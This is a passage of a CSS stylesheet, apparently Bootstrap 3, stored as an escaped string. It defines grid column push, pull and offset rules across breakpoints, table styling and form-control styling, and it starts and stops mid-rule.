33.33333333%;\n}\n.col-xs-push-3 {\n  left: 25%;\n}\n.col-xs-push-2 {\n  left: 16.66666667%;\n}\n.col-xs-push-1 {\n  left: 8.33333333%;\n}\n.col-xs-push-0 {\n  left: auto;\n}\n.col-xs-offset-12 {\n  margin-left: 100%;\n}\n.col-xs-offset-11 {\n  margin-left: 91.66666667%;\n}\n.col-xs-offset-10 {\n  margin-left: 83.33333333%;\n}\n.col-xs-offset-9 {\n  margin-left: 75%;\n}\n.col-xs-offset-8 {\n  margin-left: 66.66666667%;\n}\n.col-xs-offset-7 {\n  margin-left: 58.33333333%;\n}\n.col-xs-offset-6 {\n  margin-left: 50%;\n}\n.col-xs-offset-5 {\n  margin-left: 41.66666667%;\n}\n.col-xs-offset-4 {\n  margin-left: 33.33333333%;\n}\n.col-xs-offset-3 {\n  margin-left: 25%;\n}\n.col-xs-offset-2 {\n  margin-left: 16.66666667%;\n}\n.col-xs-offset-1 {\n  margin-left: 8.33333333%;\n}\n.col-xs-offset-0 {\n  margin-left: 0;\n}\n@media (min-width: 768px) {\n  .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {\n    float: left;\n  }\n  .col-sm-12 {\n    width: 100%;\n  }\n  .col-sm-11 {\n    width: 91.66666667%;\n  }\n  .col-sm-10 {\n    width: 83.33333333%;\n  }\n  .col-sm-9 {\n    width: 75%;\n  }\n  .col-sm-8 {\n    width: 66.66666667%;\n  }\n  .col-sm-7 {\n    width: 58.33333333%;\n  }\n  .col-sm-6 {\n    width: 50%;\n  }\n  .col-sm-5 {\n    width: 41.66666667%;\n  }\n  .col-sm-4 {\n    width: 33.33333333%;\n  }\n  .col-sm-3 {\n    width: 25%;\n  }\n  .col-sm-2 {\n    width: 16.66666667%;\n  }\n  .col-sm-1 {\n    width: 8.33333333%;\n  }\n  .col-sm-pull-12 {\n    right: 100%;\n  }\n  .col-sm-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-sm-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-sm-pull-9 {\n    right: 75%;\n  }\n  .col-sm-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-sm-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-sm-pull-6 {\n    right: 50%;\n  }\n  .col-sm-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-sm-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-sm-pull-3 {\n    right: 25%;\n  }\n  .col-sm-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-sm-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-sm-pull-0 {\n    right: auto;\n  }\n  .col-sm-push-12 {\n    left: 100%;\n  }\n  .col-sm-push-11 {\n    left: 91.66666667%;\n  }\n  .col-sm-push-10 {\n    left: 83.33333333%;\n  }\n  .col-sm-push-9 {\n    left: 75%;\n  }\n  .col-sm-push-8 {\n    left: 66.66666667%;\n  }\n  .col-sm-push-7 {\n    left: 58.33333333%;\n  }\n  .col-sm-push-6 {\n    left: 50%;\n  }\n  .col-sm-push-5 {\n    left: 41.66666667%;\n  }\n  .col-sm-push-4 {\n    left: 33.33333333%;\n  }\n  .col-sm-push-3 {\n    left: 25%;\n  }\n  .col-sm-push-2 {\n    left: 16.66666667%;\n  }\n  .col-sm-push-1 {\n    left: 8.33333333%;\n  }\n  .col-sm-push-0 {\n    left: auto;\n  }\n  .col-sm-offset-12 {\n    margin-left: 100%;\n  }\n  .col-sm-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-sm-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-sm-offset-9 {\n    margin-left: 75%;\n  }\n  .col-sm-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-sm-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-sm-offset-6 {\n    margin-left: 50%;\n  }\n  .col-sm-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-sm-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-sm-offset-3 {\n    margin-left: 25%;\n  }\n  .col-sm-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-sm-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-sm-offset-0 {\n    margin-left: 0;\n  }\n}\n@media (min-width: 992px) {\n  .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {\n    float: left;\n  }\n  .col-md-12 {\n    width: 100%;\n  }\n  .col-md-11 {\n    width: 91.66666667%;\n  }\n  .col-md-10 {\n    width: 83.33333333%;\n  }\n  .col-md-9 {\n    width: 75%;\n  }\n  .col-md-8 {\n    width: 66.66666667%;\n  }\n  .col-md-7 {\n    width: 58.33333333%;\n  }\n  .col-md-6 {\n    width: 50%;\n  }\n  .col-md-5 {\n    width: 41.66666667%;\n  }\n  .col-md-4 {\n    width: 33.33333333%;\n  }\n  .col-md-3 {\n    width: 25%;\n  }\n  .col-md-2 {\n    width: 16.66666667%;\n  }\n  .col-md-1 {\n    width: 8.33333333%;\n  }\n  .col-md-pull-12 {\n    right: 100%;\n  }\n  .col-md-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-md-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-md-pull-9 {\n    right: 75%;\n  }\n  .col-md-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-md-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-md-pull-6 {\n    right: 50%;\n  }\n  .col-md-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-md-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-md-pull-3 {\n    right: 25%;\n  }\n  .col-md-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-md-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-md-pull-0 {\n    right: auto;\n  }\n  .col-md-push-12 {\n    left: 100%;\n  }\n  .col-md-push-11 {\n    left: 91.66666667%;\n  }\n  .col-md-push-10 {\n    left: 83.33333333%;\n  }\n  .col-md-push-9 {\n    left: 75%;\n  }\n  .col-md-push-8 {\n    left: 66.66666667%;\n  }\n  .col-md-push-7 {\n    left: 58.33333333%;\n  }\n  .col-md-push-6 {\n    left: 50%;\n  }\n  .col-md-push-5 {\n    left: 41.66666667%;\n  }\n  .col-md-push-4 {\n    left: 33.33333333%;\n  }\n  .col-md-push-3 {\n    left: 25%;\n  }\n  .col-md-push-2 {\n    left: 16.66666667%;\n  }\n  .col-md-push-1 {\n    left: 8.33333333%;\n  }\n  .col-md-push-0 {\n    left: auto;\n  }\n  .col-md-offset-12 {\n    margin-left: 100%;\n  }\n  .col-md-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-md-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-md-offset-9 {\n    margin-left: 75%;\n  }\n  .col-md-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-md-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-md-offset-6 {\n    margin-left: 50%;\n  }\n  .col-md-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-md-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-md-offset-3 {\n    margin-left: 25%;\n  }\n  .col-md-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-md-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-md-offset-0 {\n    margin-left: 0;\n  }\n}\n@media (min-width: 1200px) {\n  .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {\n    float: left;\n  }\n  .col-lg-12 {\n    width: 100%;\n  }\n  .col-lg-11 {\n    width: 91.66666667%;\n  }\n  .col-lg-10 {\n    width: 83.33333333%;\n  }\n  .col-lg-9 {\n    width: 75%;\n  }\n  .col-lg-8 {\n    width: 66.66666667%;\n  }\n  .col-lg-7 {\n    width: 58.33333333%;\n  }\n  .col-lg-6 {\n    width: 50%;\n  }\n  .col-lg-5 {\n    width: 41.66666667%;\n  }\n  .col-lg-4 {\n    width: 33.33333333%;\n  }\n  .col-lg-3 {\n    width: 25%;\n  }\n  .col-lg-2 {\n    width: 16.66666667%;\n  }\n  .col-lg-1 {\n    width: 8.33333333%;\n  }\n  .col-lg-pull-12 {\n    right: 100%;\n  }\n  .col-lg-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-lg-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-lg-pull-9 {\n    right: 75%;\n  }\n  .col-lg-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-lg-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-lg-pull-6 {\n    right: 50%;\n  }\n  .col-lg-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-lg-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-lg-pull-3 {\n    right: 25%;\n  }\n  .col-lg-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-lg-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-lg-pull-0 {\n    right: auto;\n  }\n  .col-lg-push-12 {\n    left: 100%;\n  }\n  .col-lg-push-11 {\n    left: 91.66666667%;\n  }\n  .col-lg-push-10 {\n    left: 83.33333333%;\n  }\n  .col-lg-push-9 {\n    left: 75%;\n  }\n  .col-lg-push-8 {\n    left: 66.66666667%;\n  }\n  .col-lg-push-7 {\n    left: 58.33333333%;\n  }\n  .col-lg-push-6 {\n    left: 50%;\n  }\n  .col-lg-push-5 {\n    left: 41.66666667%;\n  }\n  .col-lg-push-4 {\n    left: 33.33333333%;\n  }\n  .col-lg-push-3 {\n    left: 25%;\n  }\n  .col-lg-push-2 {\n    left: 16.66666667%;\n  }\n  .col-lg-push-1 {\n    left: 8.33333333%;\n  }\n  .col-lg-push-0 {\n    left: auto;\n  }\n  .col-lg-offset-12 {\n    margin-left: 100%;\n  }\n  .col-lg-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-lg-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-lg-offset-9 {\n    margin-left: 75%;\n  }\n  .col-lg-offset-8 {\n    margin-left: 66.66666667%;\n  }\n  .col-lg-offset-7 {\n    margin-left: 58.33333333%;\n  }\n  .col-lg-offset-6 {\n    margin-left: 50%;\n  }\n  .col-lg-offset-5 {\n    margin-left: 41.66666667%;\n  }\n  .col-lg-offset-4 {\n    margin-left: 33.33333333%;\n  }\n  .col-lg-offset-3 {\n    margin-left: 25%;\n  }\n  .col-lg-offset-2 {\n    margin-left: 16.66666667%;\n  }\n  .col-lg-offset-1 {\n    margin-left: 8.33333333%;\n  }\n  .col-lg-offset-0 {\n    margin-left: 0;\n  }\n}\ntable {\n  background-color: transparent;\n}\ncaption {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  color: #777;\n  text-align: left;\n}\nth {\n  text-align: left;\n}\n.table {\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n  padding: 8px;\n  line-height: 1.42857143;\n  vertical-align: top;\n  border-top: 1px solid #ddd;\n}\n.table > thead > tr > th {\n  vertical-align: bottom;\n  border-bottom: 2px solid #ddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n  border-top: 0;\n}\n.table > tbody + tbody {\n  border-top: 2px solid #ddd;\n}\n.table .table {\n  background-color: #fff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n  padding: 5px;\n}\n.table-bordered {\n  border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n  border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n  border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-of-type(odd) {\n  background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover {\n  background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n  position: static;\n  display: table-column;\n  float: none;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n  position: static;\n  display: table-cell;\n  float: none;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n  background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr:hover > .active,\n.table-hover > tbody > tr.active:hover > th {\n  background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n  background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr:hover > .success,\n.table-hover > tbody > tr.success:hover > th {\n  background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n  background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr:hover > .info,\n.table-hover > tbody > tr.info:hover > th {\n  background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n  background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr:hover > .warning,\n.table-hover > tbody > tr.warning:hover > th {\n  background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n  background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr:hover > .danger,\n.table-hover > tbody > tr.danger:hover > th {\n  background-color: #ebcccc;\n}\n.table-responsive {\n  min-height: .01%;\n  overflow-x: auto;\n}\n@media screen and (max-width: 767px) {\n  .table-responsive {\n    width: 100%;\n    margin-bottom: 15px;\n    overflow-y: hidden;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n    border: 1px solid #ddd;\n  }\n  .table-responsive > .table {\n    margin-bottom: 0;\n  }\n  .table-responsive > .table > thead > tr > th,\n  .table-responsive > .table > tbody > tr > th,\n  .table-responsive > .table > tfoot > tr > th,\n  .table-responsive > .table > thead > tr > td,\n  .table-responsive > .table > tbody > tr > td,\n  .table-responsive > .table > tfoot > tr > td {\n    white-space: nowrap;\n  }\n  .table-responsive > .table-bordered {\n    border: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:first-child,\n  .table-responsive > .table-bordered > tbody > tr > th:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n  .table-responsive > .table-bordered > thead > tr > td:first-child,\n  .table-responsive > .table-bordered > tbody > tr > td:first-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n    border-left: 0;\n  }\n  .table-responsive > .table-bordered > thead > tr > th:last-child,\n  .table-responsive > .table-bordered > tbody > tr > th:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n  .table-responsive > .table-bordered > thead > tr > td:last-child,\n  .table-responsive > .table-bordered > tbody > tr > td:last-child,\n  .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n    border-right: 0;\n  }\n  .table-responsive > .table-bordered > tbody > tr:last-child > th,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n  .table-responsive > .table-bordered > tbody > tr:last-child > td,\n  .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n    border-bottom: 0;\n  }\n}\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\nlegend {\n  display: block;\n  width: 100%;\n  padding: 0;\n  margin-bottom: 20px;\n  font-size: 21px;\n  line-height: inherit;\n  color: #333;\n  border: 0;\n  border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n  display: inline-block;\n  max-width: 100%;\n  margin-bottom: 5px;\n  font-weight: bold;\n}\ninput[type=\"search\"] {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  margin: 4px 0 0;\n  margin-top: 1px \\9;\n  line-height: normal;\n}\ninput[type=\"file\"] {\n  display: block;\n}\ninput[type=\"range\"] {\n  display: block;\n  width: 100%;\n}\nselect[multiple],\nselect[size] {\n  height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\noutput {\n  display: block;\n  padding-top: 7px;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #555;\n}\n.form-control {\n  display: block;\n  width: 100%;\n  height: 34px;\n  padding: 6px 12px;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #555;\n  background-color: #fff;\n  background-image: none;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n  -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s;\n       -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n          transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n  border-color: #66afe9;\n  outline: 0;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n          box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n}\n.form-control::-moz-placeholder {\n  color: #999;\n  opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n  color: #999;\n}\n.form-control::-webkit-input-placeholder {\n  color: #999;\n}\n.form-control::-ms-expand {\n  background-color: transparent;\n  border: 0;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n  background-color: #eee;\n  opacity: 1;\n}\n.form-control[disabled],\nfieldset[disabled] .form-control {\n  cursor: not-allowed;\n}\ntextarea.form-control {\n  height: auto;\n}\ninput[type=\"search\"] {\n  -webkit-appearance: none;\n}\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n  input[type=\"date\"].form-control,\n  input[type=\"time\"].form-control,\n  input[type=\"datetime-local\"].form-control,\n  input[type=\"month\"].form-control {\n    line-height: 34px;\n  }\n  input[type=\"date\"].input-sm,\n  input[type=\"time\"].input-sm,\n  input[type=\"datetime-local\"].input-sm,\n  input[type=\"month\"].input-sm,\n  .input-group-sm input[type=\"date\"],\n  .input-group-sm input[type=\"time\"],\n  .input-group-sm input[type=\"datetime-local\"],\n  .input-group-sm input[type=\"month\"] {\n    line-height: 30px;\n  }\n  input[type=\"date\"].input-lg,\n  input[type=\"time\"].input-lg,\n  input[type=\"datetime-local\"].input-lg,\n  input[type=\"month\"].input-lg,\n  .input-group-lg input[type=\"date\"],\n  .input-group-lg input[type=\"time\"],\n  .input-group-lg input[type=\"datetime-local\"],\n  .input-group-lg input[type=\"month\"] {\n    line-height: 46px;\n  }\n}\n.form-group {\n  margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n  position: relative;\n  display: block;\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n  min-height: 20px;\n  padding-left: 20px;\n  margin-bottom: 0;\n  font-weight: normal;\n  cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n  position: absolute;\n  margin-top: 4px \\9;\n  margin-left: -20px;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n  margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n  position: relative;\n  display: inline-block;\n  padding-left: 20px;\n  margin-bottom: 0;\n  font-weight: normal;\n  vertical-align: middle;\n  cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n  margin-top: 0;\n  margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"].disabled,\ninput[type=\"checkbox\"].disabled,\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"] {\n  cursor: not-allowed;\n}\n.radio-inline.disabled,\n.checkbox-inline.disabled,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox-inline {\n  cursor: not-allowed;\n}\n.radio.disabled label,\n.checkbox.disabled label,\nfieldset[disabled] .radio label,\nfieldset[disabled] .checkbox label {\n  cursor: not-allowed;\n}\n.form-control-static {\n  min-height: 34px;\n  padding-top: 7px;\n  padding-bottom: 7px;\n  margin-bottom: 0;\n}\n.form-control-static.input-lg,\n.form-control-static.input-sm {\n  padding-right: 0;\n  padding-left: 0;\n}\n.input-sm {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\nselect.input-sm {\n  height: 30px;\n  line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n  height: auto;\n}\n.form-group-sm .form-control {\n  height: 30px;\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n  border-radius: 3px;\n}\n.form-group-sm select.form-control {\n  height: 30px;\n  line-height: 30px;\n}\n.form-group-sm textarea.form-control,\n.form-group-sm select[multiple].form-control {\n  height: auto;\n}\n.form-group-sm .form-control-static {\n  height: 30px;\n  min-height: 32px;\n  padding: 6px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n}\n.input-lg {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\nselect.input-lg {\n  height: 46px;\n  line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n  height: auto;\n}\n.form-group-lg .form-control {\n  height: 46px;\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n  border-radius: 6px;\n}\n.form-group-lg select.form-control {\n  height: 46px;\n  line-height: 46px;\n}\n.form-group-lg textarea.form-control,\n.form-group-lg select[multiple].form-control {\n  height: auto;\n}\n.form-group-lg .form-control-static {\n  height: 46px;\n  min-height: 38px;\n  padding: 11px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n}\n.has-feedback {\n  position: relative;\n}\n.has-feedback .form-control {\n  padding-right: 42.5px;\n}\n.form-control-feedback {\n  position: absolute;\n  top: 0;\n  right: 0;\n  z-index: 2;\n  display: block;\n  width: 34px;\n  height: 34px;\n  line-height: 34px;\n  text-align: center;\n  pointer-events: none;\n}\n.input-lg + .form-control-feedback,\n.input-group-lg + .form-control-feedback,\n.form-group-lg .form-control + .form-control-feedback {\n  width: 46px;\n  height: 46px;\n  line-height: 46px;\n}\n.input-sm + .form-control-feedback,\n.input-group-sm + .form-control-feedback,\n.form-group-sm .form-control + .form-control-feedback {\n  width: 30px;\n  height: 30px;\n  line-height: 30px;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline,\n.has-success.radio label,\n.has-success.checkbox label,\n.has-success.radio-inline label,\n.has-success.checkbox-inline label {\n  color: #3c763d;\n}\n.has-success .form-control {\n  border-color: #3c763d;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-success .form-control:focus {\n  border-color: #2b542c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #3c763d;\n}\n.has-success .form-control-feedback {\n  color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline,\n.has-warning.radio label,\n.has-warning.checkbox label,\n.has-warning.radio-inline label,\n.has-warning.checkbox-inline label {\n  color: #8a6d3b;\n}\n.has-warning .form-control {\n  border-color: #8a6d3b;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-warning .form-control:focus {\n  border-color: #66512c;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #8a6d3b;\n}\n.has-warning .form-control-feedback {\n  color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline,\n.has-error.radio label,\n.has-error.checkbox label,\n.has-error.radio-inline label,\n.has-error.checkbox-inline label {\n  color: #a94442;\n}\n.has-error .form-control {\n  border-color: #a94442;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-error .form-control:focus {\n  border-color: #843534;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #a94442;\n}\n.has-error .form-control-feedback {\n  color: #a94442;\n}\n.has-feedback label ~ .form-control-feedback {\n  top: 25px;\n}\n.has-feedback label.sr-only ~ .form-control-feedback {\n  top: 0;\n}\n.help-block {\n  display: block;\n  margin-top: 5px;\n  margin-bottom: 10px;\n  color: #737373;\n}\n@media (min-width: 768px) {\n  .form-inline .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .form-inline .form-control-static {\n    display: inline-block;\n  }\n  .form-inline .input-group {\n    display: inline-table;\n    vertical-align: middle;\n  }\n  .form-inline .input-group .input-group-addon,\n  .form-inline .input-group .input-group-btn,\n  .form-inline .input-group .form-control {\n    width: auto;\n  }\n  .form-inline .input-group > .form-control {\n    width: 100%;\n  }\n  .form-inline .control-label {\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .radio,\n  .form-inline .checkbox {\n    display: inline-block;\n    margin-top: 0;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .form-inline .radio label,\n  .form-inline .checkbox label {\n    padding-left: 0;\n  }\n  .form-inline .radio input[type=\"radio\"],\n  .form-inline .checkbox input[type=\"checkbox\"] {\n    position: relative;\n    margin-left: 0;\n  }\n  .form-inline .has-feedback .form-control-feedback {\n    top: 0;\n  }\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline 